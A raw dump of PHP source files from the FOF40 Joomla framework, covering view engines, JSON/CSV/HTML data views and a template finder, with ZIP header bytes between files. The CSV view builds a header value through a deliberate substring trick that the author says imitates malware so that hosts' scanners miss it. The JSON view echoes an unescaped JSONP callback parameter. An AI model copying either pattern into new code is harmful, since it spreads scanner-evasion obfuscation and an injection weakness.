Cache Extension for PHP (versions lower than 2.0.0) * - XCache (now defunct) * * @param string $path The file to bus the cache for * * @return void */ private function bustOpCache($path) { if (function_exists('opcache_invalidate')) { opcache_invalidate($path); } if (function_exists('apc_compile_file')) { apc_compile_file($path); } if (function_exists('wincache_refresh_if_changed')) { wincache_refresh_if_changed([$path]); } if (function_exists('xcache_asm')) { xcache_asm($path); } } }PK���\L�**!fof40/View/Engine/BladeEngine.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\View\Engine; defined('_JEXEC') || die; use FOF40\View\View; /** * View engine for compiling PHP template files. */ class BladeEngine extends CompilingEngine implements EngineInterface { public function __construct(View $view) { parent::__construct($view); // Assign the Blade compiler to this engine $this->compiler = $view->getContainer()->blade; } } PK���\��Hzz%fof40/View/Engine/EngineInterface.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\View\Engine; defined('_JEXEC') || die; use FOF40\View\View; interface EngineInterface { /** * Public constructor * * @param View $view The view we belong to */ public function __construct(View $view); /** * Get the include path for a parsed view template * * @param string $path The path to the view template * @param array $forceParams Any additional information to pass to the view template engine * * @return array Content 3ναlυα+ιοη information ['type' => 'raw|path', 'content' => 'path or raw content'] (I use leetspeak here because of bad quality hosts with broken scanners) */ public function get($path, array $forceParams = array()); } PK���\,N����fof40/View/Engine/PhpEngine.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\View\Engine; defined('_JEXEC') || die; /** * View engine for plain PHP template files (no translation). */ class PhpEngine extends AbstractEngine implements EngineInterface { /** * Get the 3ναluα+3d contents of the view template. (I use leetspeak here because of bad quality hosts with broken scanners) * * @param string $path The path to the view template * @param array $forceParams Any additional information to pass to the view template engine * * @return array Content 3ναlυα+ιοη information (I use leetspeak here because of asshole hosts with broken scanners) */ public function get($path, array $forceParams = array()) { return array( 'type' => 'path', 'content' => $path ); } } PK���\�=9kkfof40/View/DataView/Json.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\View\DataView; defined('_JEXEC') || die; use FOF40\Model\DataModel; use Joomla\CMS\Document\Document as JoomlaDocument; use Joomla\CMS\Document\JsonDocument; use Joomla\CMS\Uri\Uri; class Json extends Raw implements DataViewInterface { /** * Set to true if your onBefore* methods have already populated the item, items, limitstart etc properties used to * render a JSON document. * * @var bool */ public $alreadyLoaded = false; /** * Record listing offset (how many records to skip before starting showing some) * * @var int */ protected $limitStart = 0; /** * Record listing limit (how many records to show) * * @var int */ protected $limit = 10; /** * Total number of records in the result set * * @var int */ protected $total = 0; /** * The record being displayed * * @var DataModel */ protected $item; /** * Overrides the default method to execute and display a template script. * Instead of loadTemplate is uses loadAnyTemplate. * * @param string $tpl The name of the template file to parse * * @return boolean True on success * * @throws \Exception When the layout file is not found */ public function display($tpl = null) { $eventName = 'onBefore' . ucfirst($this->doTask); $this->triggerEvent($eventName, [$tpl]); $eventName = 'onAfter' . ucfirst($this->doTask); $this->triggerEvent($eventName, [$tpl]); return true; } /** * The event which runs when we are displaying the record list JSON view * * @param string $tpl The sub-template to use */ public function onBeforeBrowse($tpl = null) { // Load the model /** @var DataModel $model */ $model = $this->getModel(); $result = ''; if (!$this->alreadyLoaded) { $this->limitStart = $model->getState('limitstart', 0); $this->limit = $model->getState('limit', 0); $this->items = $model->get(true, $this->limitStart, $this->limit); $this->total = $model->count(); } $document = $this->container->platform->getDocument(); /** @var JsonDocument $document */ if ($document instanceof JoomlaDocument) { $document->setMimeEncoding('application/json'); } if (is_null($tpl)) { $tpl = 'json'; } $hasFailed = false; try { $result = $this->loadTemplate($tpl, true); if ($result instanceof \Exception) { $hasFailed = true; } } catch (\Exception $e) { $hasFailed = true; } if ($hasFailed) { // Default JSON behaviour in case the template isn't there! $result = []; foreach ($this->items as $item) { $result[] = (is_object($item) && method_exists($item, 'toArray')) ? $item->toArray() : $item; } $json = json_encode($result, JSON_PRETTY_PRINT); // JSONP support $callback = $this->input->get('callback', null, 'raw'); if (!empty($callback)) { echo $callback . '(' . $json . ')'; } else { $defaultName = $this->input->get('view', 'main', 'cmd'); $filename = $this->input->get('basename', $defaultName, 'cmd'); $document->setName($filename); echo $json; } } else { echo $result; } } /** * The event which runs when we are displaying a single item JSON view * * @param string $tpl The view sub-template to use */ protected function onBeforeRead($tpl = null) { self::renderSingleItem($tpl); } /** * The event which runs when we are displaying a single item JSON view * * @param string $tpl The view sub-template to use */ protected function onAfterSave($tpl = null) { self::renderSingleItem($tpl); } /** * Renders a single item JSON view * * @param string $tpl The view sub-template to use */ protected function renderSingleItem($tpl) { // Load the model /** @var DataModel $model */ $model = $this->getModel(); $result = ''; if (!$this->alreadyLoaded) { $this->item = $model->find(); } $document = $this->container->platform->getDocument(); /** @var JsonDocument $document */ if ($document instanceof JoomlaDocument) { $document->setMimeEncoding('application/json'); } if (is_null($tpl)) { $tpl = 'json'; } $hasFailed = false; try { $result = $this->loadTemplate($tpl, true); if ($result instanceof \Exception) { $hasFailed = true; } } catch (\Exception $e) { $hasFailed = true; } if ($hasFailed) { $data = (is_object($this->item) && method_exists($this->item, 'toArray')) ? $this->item->toArray() : $this->item; $json = json_encode($data, JSON_PRETTY_PRINT); // JSONP support $callback = $this->input->get('callback'); if (!empty($callback)) { echo $callback . '(' . $json . ')'; } else { $defaultName = $this->input->get('view', 'main', 'cmd'); $filename = $this->input->get('basename', $defaultName, 'cmd'); $document->setName($filename); echo $json; } } else { echo $result; } } /** * Convert an absolute URI to a relative one * * @param string $uri The URI to convert * * @return string The relative URL */ protected function _removeURIBase($uri) { static $root = null, $rootlen = 0; if (is_null($root)) { $root = rtrim(Uri::base(false), '/'); $rootlen = strlen($root); } if (substr($uri, 0, $rootlen) == $root) { $uri = substr($uri, $rootlen); } return ltrim($uri, '/'); } /** * Returns a Uri instance with a prototype URI used as the base for the * other URIs created by the JSON renderer * * @return Uri The prototype Uri instance */ protected function _getPrototypeURIForPagination() { $protoUri = new Uri('index.php'); $protoUri->setQuery($this->input->getData()); $protoUri->delVar('savestate'); $protoUri->delVar('base_path'); return $protoUri; } } PK���\I�է'�'fof40/View/DataView/Raw.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\View\DataView; defined('_JEXEC') || die; use FOF40\Container\Container; use FOF40\Model\DataModel; use FOF40\Model\DataModel\Collection; use FOF40\View\View; use Joomla\CMS\Application\SiteApplication; use Joomla\CMS\Factory as JoomlaFactory; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Pagination\Pagination; use Joomla\Registry\Registry; /** * View for a raw data-driven view */ class Raw extends View implements DataViewInterface { /** @var \stdClass Data lists */ protected $lists; /** @var Pagination The pagination object */ protected $pagination; /** @var Registry Page parameters object, for front-end views */ protected $pageParams; /** @var Collection The records loaded (browse views) */ protected $items; /** @var DataModel The record loaded (read, edit, add views) */ protected $item; /** @var int The total number of items in the model (more than those loaded) */ protected $itemCount = 0; /** @var \stdClass ACL permissions map */ protected $permissions; /** @var array Additional permissions to fetch on object creation, see getPermissions() */ protected $additionalPermissions = []; /** * Overrides the constructor to apply Joomla! ACL permissions * * @param Container $container The container we belong to * @param array $config The configuration overrides for the view */ public function __construct(Container $container, array $config = []) { parent::__construct($container, $config); $this->permissions = $this->getPermissions(null, $this->additionalPermissions); } /** * Determines if the current Joomla! version and your current table support AJAX-powered drag and drop reordering. * If they do, it will set up the drag & drop reordering feature. * * @return null|array Null if not supported, otherwise a table with necessary information (saveOrder: should * you enable DnD reordering; orderingColumn: which column has the ordering information). */ public function hasAjaxOrderingSupport(): ?array { /** @var DataModel $model */ $model = $this->getModel(); if (!$model->hasField('ordering')) { return null; } $listOrder = $this->escape($model->getState('filter_order', null, 'cmd')); $listDir = $this->escape($model->getState('filter_order_Dir', null, 'cmd')); $saveOrder = $listOrder == $model->getFieldAlias('ordering'); $saveOrderingUrl = ''; if ($saveOrder) { $saveOrderingUrl = 'index.php?option=' . $this->container->componentName . '&view=' . $this->getName() . '&task=saveorder&format=json'; $helper = version_compare(JVERSION, '3.999.999', 'le') ? 'sortablelist.sortable' : 'draggablelist.draggable'; HtmlHelper::_($helper, 'itemsList', 'adminForm', strtolower($listDir), $saveOrderingUrl); } return [ 'saveOrder' => $saveOrder, 'saveOrderURL' => $saveOrderingUrl . '&' . $this->container->platform->getToken() . '=1', 'orderingColumn' => $model->getFieldAlias('ordering'), ]; } /** * Returns the internal list of useful variables to the benefit of header fields. * * @return \stdClass */ public function getLists() { return $this->lists; } /** * Returns a reference to the permissions object of this view * * @return \stdClass */ public function getPerms() { return $this->permissions; } /** * Returns a reference to the pagination object of this view * * @return Pagination */ public function getPagination() { return $this->pagination; } /** * Get the items collection for browse views * * @return Collection */ public function getItems() { return $this->items; } /** * Get the item for read, edit, add views * * @return DataModel */ public function getItem() { return $this->item; } /** * Get the items count for browse views * * @return int */ public function getItemCount() { return $this->itemCount; } /** * Get the Joomla! page parameters * * @return Registry */ public function getPageParams() { return $this->pageParams; } /** * Returns a permissions object. * * The additionalPermissions array is a hashed array of local key => Joomla! ACL key value pairs. Local key is the * name of the permission in the permissions object, whereas Joomla! ACL key is the name of the ACL permission * known to Joomla! e.g. "core.manage", "foobar.something" and so on. * * Note: on CLI applications all permissions are set to TRUE. There is no ACL check there. * * @param null|string $component The name of the component. Leave empty for automatic detection. * @param array $additionalPermissions Any additional permissions you want to add to the object. * * @return object */ protected function getPermissions($component = null, array $additionalPermissions = []) { // Make sure we have a component if (empty($component)) { $component = $this->container->componentName; } // Initialise with all true $permissions = [ 'create' => true, 'edit' => true, 'editown' => true, 'editstate' => true, 'delete' => true, ]; foreach (array_keys($additionalPermissions) as $localKey) { $permissions[$localKey] = true; } $platform = $this->container->platform; // If this is a CLI application we don't make any ACL checks if ($platform->isCli()) { return (object) $permissions; } // Get the core permissions $permissions = [ 'create' => $platform->authorise('core.create', $component), 'edit' => $platform->authorise('core.edit', $component), 'editown' => $platform->authorise('core.edit.own', $component), 'editstate' => $platform->authorise('core.edit.state', $component), 'delete' => $platform->authorise('core.delete', $component), ]; foreach ($additionalPermissions as $localKey => $joomlaPermission) { $permissions[$localKey] = $platform->authorise($joomlaPermission, $component); } return (object) $permissions; } /** * Executes before rendering the page for the Browse task. */ protected function onBeforeBrowse() { // Create the lists object $this->lists = new \stdClass(); // Load the model /** @var DataModel $model */ $model = $this->getModel(); // We want to persist the state in the session $model->savestate(1); // Display limits $defaultLimit = 20; if (!$this->container->platform->isCli() && class_exists('\Joomla\CMS\Factory')) { $app = JoomlaFactory::getApplication(); $defaultLimit = method_exists($app, 'get') ? $app->get('list_limit') : 20; } $this->lists->limitStart = $model->getState('limitstart', 0, 'int'); $this->lists->limit = $model->getState('limit', $defaultLimit, 'int'); $model->limitstart = $this->lists->limitStart; $model->limit = $this->lists->limit; // Assign items to the view $this->items = $model->get(false); $this->itemCount = $model->count(); // Ordering information $this->lists->order = $model->getState('filter_order', $model->getIdFieldName(), 'cmd'); $this->lists->order_Dir = $model->getState('filter_order_Dir', null, 'cmd'); if ($this->lists->order_Dir) { $this->lists->order_Dir = strtolower($this->lists->order_Dir); } // Pagination $this->pagination = new Pagination($this->itemCount, $this->lists->limitStart, $this->lists->limit); // Pass page params on frontend only if ($this->container->platform->isFrontend()) { /** @var SiteApplication $app */ $app = JoomlaFactory::getApplication(); $params = $app->getParams(); $this->pageParams = $params; } } /** * Executes before rendering the page for the add task. */ protected function onBeforeAdd() { /** @var DataModel $model */ $model = $this->getModel(); /** * The model is pushed into the View by the Controller. As you can see in DataController::add() it is possible * to push both default values (defaultsForAdd) as well as data from the state (e.g. when saving a new record * failed for some reason and the user needs to edit it). That's why we populate defaultFields from $model. We * still do a full reset on a clone of the Model to get a clean object and merge default values (instead of null * values) with the data pushed by the controller. */ $defaultFields = $model->getData(); $this->item = $model->getClone()->reset(true, true); foreach ($defaultFields as $k => $v) { try { $this->item->setFieldValue($k, $v); } catch (\Exception $e) { // Suppress errors in field assignments at this stage } } } /** * Executes before rendering the page for the Edit task. */ protected function onBeforeEdit() { /** @var DataModel $model */ $model = $this->getModel(); // It seems that I can't edit records, maybe I can edit only this one due asset tracking? if ((!$this->permissions->edit || !$this->permissions->editown) && is_object($model) && ($model instanceof DataModel)) { // Make sure the model is really asset tracked $assetName = $model->getAssetName(); $assetName = is_string($assetName) ? $assetName : null; $isAssetsTracked = $model->isAssetsTracked() && !empty($assetName); // Ok, record is tracked, let's see if I can this record if ($isAssetsTracked) { $platform = $this->container->platform; if (!$this->permissions->edit && !is_null($assetName)) { $this->permissions->edit = $platform->authorise('core.edit', $assetName); } if (!$this->permissions->editown && !is_null($assetName)) { $this->permissions->editown = $platform->authorise('core.edit.own', $assetName); } } } $this->item = $model->findOrFail(); } /** * Executes before rendering the page for the Read task. */ protected function onBeforeRead() { /** @var DataModel $model */ $model = $this->getModel(); $this->item = $model->findOrFail(); } } PK���\@ga��fof40/View/DataView/Csv.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\View\DataView; defined('_JEXEC') or die; use FOF40\Container\Container; use FOF40\Model\DataModel; use FOF40\View\Exception\AccessForbidden; use Joomla\CMS\Document\Document; class Csv extends Html implements DataViewInterface { /** * Should I produce a CSV header row. * * @var boolean */ protected $csvHeader = true; /** * The filename of the downloaded CSV file. * * @var string */ protected $csvFilename; /** * The columns to include in the CSV output. If it's empty it will be ignored. * * @var array */ protected $csvFields = []; /** * Public constructor. * * @param Container $container The container we belong to * @param array $config The configuration overrides for the view */ public function __construct(Container $container, array $config = []) { parent::__construct($container, $config); if (array_key_exists('csv_header', $config)) { $this->csvHeader = $config['csv_header']; } else { $this->csvHeader = $this->input->getBool('csv_header', true); } if (array_key_exists('csv_filename', $config)) { $this->csvFilename = $config['csv_filename']; } else { $this->csvFilename = $this->input->getString('csv_filename', ''); } if (empty($this->csvFilename)) { $view = $this->input->getCmd('view', 'cpanel'); $view = $this->container->inflector->pluralize($view); $this->csvFilename = strtolower($view) . '.csv'; } if (array_key_exists('csv_fields', $config)) { $this->csvFields = $config['csv_fields']; } } /** * Overrides the default method to execute and display a template script. * Instead of loadTemplate is uses loadAnyTemplate. * * @param string $tpl The name of the template file to parse * * @return boolean True on success * * @throws \Exception When the layout file is not found */ public function display($tpl = null) { $eventName = 'onBefore' . ucfirst($this->doTask); $this->triggerEvent($eventName, [$tpl]); // Load the model /** @var DataModel $model */ $model = $this->getModel(); $items = $model->get(); $this->items = $items; $platform = $this->container->platform; $document = $platform->getDocument(); if ($document instanceof Document) { $document->setMimeEncoding('text/csv'); } $platform->setHeader('Pragma', 'public'); $platform->setHeader('Expires', '0'); /** * This construct is required to work around bad quality hosts who blacklist files based on broken malware * scanners. The only way to beat them is... wait for it... write our software using the same obscure constructs * actual malware is using to evade these broken malware scanners. The irony is not lost on me. */ $xo = substr("revenge", 0, 3); $xoxo = substr("calibrate", 1, 2); $platform->setHeader('Cache-Control', 'must-' . $xo . $xoxo . 'idate, post-check=0, pre-check=0'); $platform->setHeader('Cache-Control', 'public', false); $platform->setHeader('Content-Description', 'File Transfer'); $platform->setHeader('Content-Disposition', 'attachment; filename="' . $this->csvFilename . '"'); if (is_null($tpl)) { $tpl = 'csv'; } $hasFailed = false; try { $result = $this->loadTemplate($tpl, true); if ($result instanceof \Exception) { $hasFailed = true; } } catch (\Exception $e) { $hasFailed = true; } if (!$hasFailed) { echo $result; } else { // Default CSV behaviour in case the template isn't there! if (count($items) === 0) { throw new AccessForbidden; } $item = $items->last(); $keys = $item->getData(); $keys = array_keys($keys); reset($items); if (!empty($this->csvFields)) { $temp = []; foreach ($this->csvFields as $f) { $exist = false; // If we have a dot and it isn't part of the field name, we are dealing with relations if (!$model->hasField($f) && strpos($f, '.')) { $methods = explode('.', $f); $object = $item; // Let's see if the relation exists foreach ($methods as $method) { if (isset($object->$method) || property_exists($object, $method)) { $exist = true; $object = $object->$method; } else { $exist = false; break; } } } if (in_array($f, $keys)) { $temp[] = $f; } elseif ($exist) { $temp[] = $f; } } $keys = $temp; } if ($this->csvHeader) { $csv = []; foreach ($keys as $k) { $k = str_replace('"', '""', $k); $k = str_replace("\r", '\\r', $k); $k = str_replace("\n", '\\n', $k); $k = '"' . $k . '"'; $csv[] = $k; } echo implode(",", $csv) . "\r\n"; } foreach ($items as $item) { $csv = []; foreach ($keys as $k) { // If our key contains a dot and it isn't part of the field name, we are dealing with relations if (!$model->hasField($k) && strpos($k, '.')) { $methods = explode('.', $k); $v = $item; foreach ($methods as $method) { $v = $v->$method; } } else { $v = $item->$k; } if (is_array($v)) { $v = 'Array'; } elseif (is_object($v)) { $v = 'Object'; } $v = str_replace('"', '""', $v); $v = str_replace("\r", '\\r', $v); $v = str_replace("\n", '\\n', $v); $v = '"' . $v . '"'; $csv[] = $v; } echo implode(",", $csv) . "\r\n"; } } $eventName = 'onAfter' . ucfirst($this->doTask); $this->triggerEvent($eventName, [$tpl]); return true; } } PK���\(�)fof40/View/DataView/DataViewInterface.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\View\DataView; defined('_JEXEC') || die; use FOF40\Container\Container; use Joomla\CMS\Pagination\Pagination; interface DataViewInterface { /** * Determines if the current Joomla! version and your current table support AJAX-powered drag and drop reordering. * If they do, it will set up the drag & drop reordering feature. * * @return boolean|array False if not supported, otherwise a table with necessary information (saveOrder: should * you enable DnD reordering; orderingColumn: which column has the ordering information). */ public function hasAjaxOrderingSupport(); /** * Returns the internal list of useful variables to the benefit of header fields. * * @return \stdClass */ public function getLists(); /** * Returns a reference to the permissions object of this view * * @return \stdClass */ public function getPerms(); /** * Returns a reference to the pagination object of this view * * @return Pagination */ public function getPagination(); /** * Method to get the view name * * The model name by default parsed using the classname, or it can be set * by passing a $config['name'] in the class constructor * * @return string The name of the model * * @throws \Exception */ public function getName(); /** * Returns a reference to the container attached to this View * * @return Container */ public function &getContainer(); /** * Escapes a value for output in a view script. * * @param mixed $var The output to escape. * * @return string The escaped value. */ public function escape($var); /** * Returns the task being rendered by the view * * @return string */ public function getTask(); /** * Get the layout. * * @return string The layout name */ public function getLayout(); /** * Add a JS script file to the page generated by the CMS. * * There are three combinations of defer and async (see http://www.w3schools.com/tags/att_script_defer.asp): * * $defer false, $async true: The script is executed asynchronously with the rest of the page * (the script will be executed while the page continues the parsing) * * $defer true, $async false: The script is executed when the page has finished parsing. * * $defer false, $async false. (default) The script is loaded and executed immediately. When it finishes * loading the browser continues parsing the rest of the page. * * When you are using $defer = true there is no guarantee about the load order of the scripts. Whichever * script loads first will be executed first. The order they appear on the page is completely irrelevant. * * @param string $uri A path definition understood by parsePath, e.g. media://com_example/js/foo.js * @param string $version (optional) Version string to be added to the URL * @param string $type MIME type of the script * @param boolean $defer Adds the defer attribute, see above * @param boolean $async Adds the async attribute, see above * * @return $this Self, for chaining */ public function addJavascriptFile($uri, $version = null, $type = 'text/javascript', $defer = false, $async = false); /** * Adds an inline JavaScript script to the page header * * @param string $script The script content to add * @param string $type The MIME type of the script * * @return $this Self, for chaining */ public function addJavascriptInline($script, $type = 'text/javascript'); /** * Add a CSS file to the page generated by the CMS * * @param string $uri A path definition understood by parsePath, e.g. media://com_example/css/foo.css * @param string $version (optional) Version string to be added to the URL * @param string $type MIME type of the stylesheeet * @param string $media Media target definition of the style sheet, e.g. "screen" * @param array $attribs Array of attributes * * @return $this Self, for chaining */ public function addCssFile($uri, $version = null, $type = 'text/css', $media = null, $attribs = array()); /** * Adds an inline stylesheet (inline CSS) to the page header * * @param string $css The stylesheet content to add * @param string $type The MIME type of the script * * @return $this Self, for chaining */ public function addCssInline($css, $type = 'text/css'); } PK���\����fof40/View/DataView/Html.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\View\DataView; defined('_JEXEC') || die; use FOF40\Render\RenderInterface; use Joomla\CMS\Application\SiteApplication; use Joomla\CMS\Factory as JoomlaFactory; use Joomla\CMS\Language\Text; class Html extends Raw implements DataViewInterface { /** @var bool Should I set the page title in the front-end of the site? */ public $setFrontendPageTitle = false; /** @var string The translation key for the default page title */ public $defaultPageTitle; /** * Should FEFHelpBrowse::orderheader() render the pagination (items per page) dropdown? * * @var bool * @since 4.0.0 */ public $showBrowsePagination = true; /** * Should FEFHelpBrowse::orderheader() render the ordering direction dropdown? * * @var bool * @since 4.0.0 */ public $showBrowseOrdering = true; /** * Should FEFHelpBrowse::orderheader() render the order by item dropdown? * * @var bool * @since 4.0.0 */ public $showBrowseOrderBy = true; public function setPageTitle() { if (!$this->container->platform->isFrontend()) { return ''; } /** @var SiteApplication $app */ $app = JoomlaFactory::getApplication(); $document = JoomlaFactory::getDocument(); $menus = $app->getMenu(); $menu = $menus->getActive(); // Get the option and view name $option = $this->container->componentName; $view = $this->getName(); // Get the default page title translation key $default = empty($this->defaultPageTitle) ? $option . '_TITLE_' . $view : $this->defaultPageTitle; $params = $app->getParams($option); // Set the default value for page_heading $params->def('page_heading', ($menu !== null) ? $params->get('page_title', $menu->title) : Text::_($default)); // Set the document title $title = $params->get('page_title', ''); $sitename = $app->get('sitename'); if ($title == $sitename) { $title = Text::_($default); } if (empty($title)) { $title = $sitename; } elseif ($app->get('sitename_pagetitles', 0) == 1) { $title = Text::sprintf('JPAGETITLE', $app->get('sitename'), $title); } elseif ($app->get('sitename_pagetitles', 0) == 2) { $title = Text::sprintf('JPAGETITLE', $title, $app->get('sitename')); } $document->setTitle($title); // Set meta if ($params->get('menu-meta_description')) { $document->setDescription($params->get('menu-meta_description')); } if ($params->get('menu-meta_keywords')) { $document->setMetadata('keywords', $params->get('menu-meta_keywords')); } if ($params->get('robots')) { $document->setMetadata('robots', $params->get('robots')); } return $title; } protected function initialise(): void { $view = $this->getName(); $task = $this->task; $renderer = $this->container->renderer; $renderer->initialise($view, $task); } /** * Runs before rendering the view template, echoing HTML to put before the * view template's generated HTML * * @return void * * @throws \Exception */ protected function preRender(): void { $view = $this->getName(); $task = $this->task; // Don't load the toolbar on CLI $platform = $this->container->platform; if (!$platform->isCli()) { $toolbar = $this->container->toolbar; $toolbar->perms = $this->permissions; $toolbar->renderToolbar($view, $task); } if ($platform->isFrontend() && $this->setFrontendPageTitle) { $this->setPageTitle(); } $renderer = $this->container->renderer; $renderer->preRender($view, $task); } /** * Runs after rendering the view template, echoing HTML to put after the * view template's generated HTML * * @return void * * @throws \Exception */ protected function postRender(): void { $view = $this->getName(); $task = $this->task; $renderer = $this->container->renderer; if ($renderer instanceof RenderInterface) { $renderer->postRender($view, $task); } } /** * Executes before rendering the page for the Add task. */ protected function onBeforeAdd() { // Hide main menu JoomlaFactory::getApplication()->input->set('hidemainmenu', true); parent::onBeforeAdd(); } /** * Executes before rendering the page for the Edit task. */ protected function onBeforeEdit() { // Hide main menu JoomlaFactory::getApplication()->input->set('hidemainmenu', true); parent::onBeforeEdit(); } } PK���\��O�B�B!fof40/View/ViewTemplateFinder.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\View; defined('_JEXEC') || die; use FOF40\Container\Container; use Joomla\CMS\Language\Text; use RuntimeException; /** * Locates the appropriate template file for a view */ class ViewTemplateFinder { /** @var View The view we are attached to */ protected $view; /** @var Container The container of the view, for quick reference */ protected $container; /** @var array The layout template extensions to look for */ protected $extensions = array('.blade.php', '.php'); /** @var string Default layout's name (default: "default") */ protected $defaultLayout = 'default'; /** @var string Default sub-template name (default: empty) */ protected $defaultTpl = ''; /** @var bool Should I only look in the specified view (true) or also the pluralised/singularised (false) */ protected $strictView = true; /** @var bool Should I only look for the defined sub-template or also no sub-template? */ protected $strictTpl = true; /** @var bool Should Should I only look for this layout or also the default layout? */ protected $strictLayout = true; /** @var string Which application side prefix should I use by default (site, admin, auto, any) */ protected $sidePrefix = 'auto'; /** * Public constructor. The config array can contain the following keys * extensions array * defaultLayout string * defaultTpl string * strictView bool * strictTpl bool * strictLayout bool * sidePrefix string * For the descriptions of each key please see the same-named property of this class * * @param View $view The view we are attached to * @param array $config The configuration for this view template finder */ function __construct(View $view, array $config = array()) { $this->view = $view; $this->container = $view->getContainer(); if (isset($config['extensions'])) { if (!is_array($config['extensions'])) { $config['extensions'] = trim($config['extensions']); $config['extensions'] = explode(',', $config['extensions']); $config['extensions'] = array_map(function ($x) { return trim($x); }, $config['extensions']); } $this->setExtensions($config['extensions']); } if (isset($config['defaultLayout'])) { $this->setDefaultLayout($config['defaultLayout']); } if (isset($config['defaultTpl'])) { $this->setDefaultTpl($config['defaultTpl']); } if (isset($config['strictView'])) { $config['strictView'] = in_array($config['strictView'], array(true, 'true', 'yes', 'on', 1)); $this->setStrictView($config['strictView']); } if (isset($config['strictTpl'])) { $config['strictTpl'] = in_array($config['strictTpl'], array(true, 'true', 'yes', 'on', 1)); $this->setStrictTpl($config['strictTpl']); } if (isset($config['strictLayout'])) { $config['strictLayout'] = in_array($config['strictLayout'], array(true, 'true', 'yes', 'on', 1)); $this->setStrictLayout($config['strictLayout']); } if (isset($config['sidePrefix'])) { $this->setSidePrefix($config['sidePrefix']); } } /** * Returns a list of template URIs for a specific component, view, template and sub-template. The $parameters array * can have any of the following keys: * component string The name of the component, e.g. com_something * view string The name of the view * layout string The name of the layout * tpl string The name of the sub-template * strictView bool Should I only look in the specified view, or should I look in the pluralised/singularised view as well? * strictLayout bool Should I only look for this layout, or also for the default layout? * strictTpl bool Should I only look for this sub-template or also for no sub-template? * sidePrefix string The application side prefix (site, admin, auto, any) * * @param array $parameters See above * * @return array * @throws \Exception */ public function getViewTemplateUris(array $parameters) { // Merge the default parameters with the parameters given $parameters = array_merge(array( 'component' => $this->container->componentName, 'view' => $this->view->getName(), 'layout' => $this->defaultLayout, 'tpl' => $this->defaultTpl, 'strictView' => $this->strictView, 'strictLayout' => $this->strictLayout, 'strictTpl' => $this->strictTpl, 'sidePrefix' => $this->sidePrefix, ), $parameters); $uris = array(); $component = $parameters['component']; $view = $parameters['view']; $layout = $parameters['layout']; $tpl = $parameters['tpl']; $strictView = $parameters['strictView']; $strictLayout = $parameters['strictLayout']; $strictTpl = $parameters['strictTpl']; $sidePrefix = $parameters['sidePrefix']; $basePath = $sidePrefix. ':' . $component . '/' . $view . '/'; $uris[] = $basePath . $layout . ($tpl ? "_$tpl" : ''); if (!$strictTpl) { $uris[] = $basePath . $layout; } if (!$strictLayout) { $uris[] = $basePath . 'default' . ($tpl ? "_$tpl" : ''); if (!$strictTpl) { $uris[] = $basePath . 'default'; } } if (!$strictView) { $parameters['view'] = $this->container->inflector->isSingular($view) ? $this->container->inflector->pluralize($view) : $this->container->inflector->singularize($view); $parameters['strictView'] = true; $extraUris = $this->getViewTemplateUris($parameters); $uris = array_merge($uris, $extraUris); unset ($extraUris); } return array_unique($uris); } /** * Parses a template URI in the form of admin:component/view/layout to an array listing the application section * (admin, site), component, view and template referenced therein. * * @param string $uri The template path to parse * * @return array A hash array with the parsed path parts. Keys: admin, component, view, template */ public function parseTemplateUri($uri = '') { $parts = array( 'admin' => 0, 'component' => $this->container->componentName, 'view' => $this->view->getName(), 'template' => 'default' ); if (substr($uri, 0, 5) == 'auto:') { $replacement = $this->container->platform->isBackend() ? 'admin:' : 'site:'; $uri = $replacement . substr($uri, 5); } if (substr($uri, 0, 6) == 'admin:') { $parts['admin'] = 1; $uri = substr($uri, 6); } elseif (substr($uri, 0, 5) == 'site:') { $uri = substr($uri, 5); } elseif (substr($uri, 0, 4) == 'any:') { $parts['admin'] = -1; $uri = substr($uri, 4); } if (empty($uri)) { return $parts; } $uriParts = explode('/', $uri, 3); $partCount = count($uriParts); if ($partCount >= 1) { $parts['component'] = $uriParts[0]; } if ($partCount >= 2) { $parts['view'] = $uriParts[1]; } if ($partCount >= 3) { $parts['template'] = $uriParts[2]; } return $parts; } /** * Resolves a view template URI (e.g. any:com_foobar/Items/cheese) to an absolute filesystem path * (e.g. /var/www/html/administrator/components/com_foobar/View/Items/tmpl/cheese.php) * * @param string $uri The view template URI to parse * @param string $layoutTemplate The layout template override of the View class * @param array $extraPaths Any extra lookup paths where we'll be looking for this view template * @param bool $noOverride If true we will not load Joomla! template overrides. Useful when you want the * template overrides to extend the original view template. * * @return string * */ public function resolveUriToPath(string $uri, string $layoutTemplate = '', array $extraPaths = [], bool $noOverride = false) { // Parse the URI into its parts $parts = $this->parseTemplateUri($uri); // Get some useful values $isAdmin = $this->container->platform->isBackend() ? 1 : 0; $componentPaths = $this->container->platform->getComponentBaseDirs($parts['component']); $templatePath = $this->container->platform->getTemplateOverridePath($parts['component']); // Get the lookup paths $paths = []; // If we are on the correct side of the application or we have an "any:" URI look for a template override if (!$noOverride && (($parts['admin'] == -1) || ($parts['admin'] == $isAdmin))) { $paths[] = $templatePath . '/' . $parts['view']; } // Add the requested side of the application $requestedAdmin = ($parts['admin'] == -1) ? $isAdmin : $parts['admin']; $paths[] = ($requestedAdmin ? 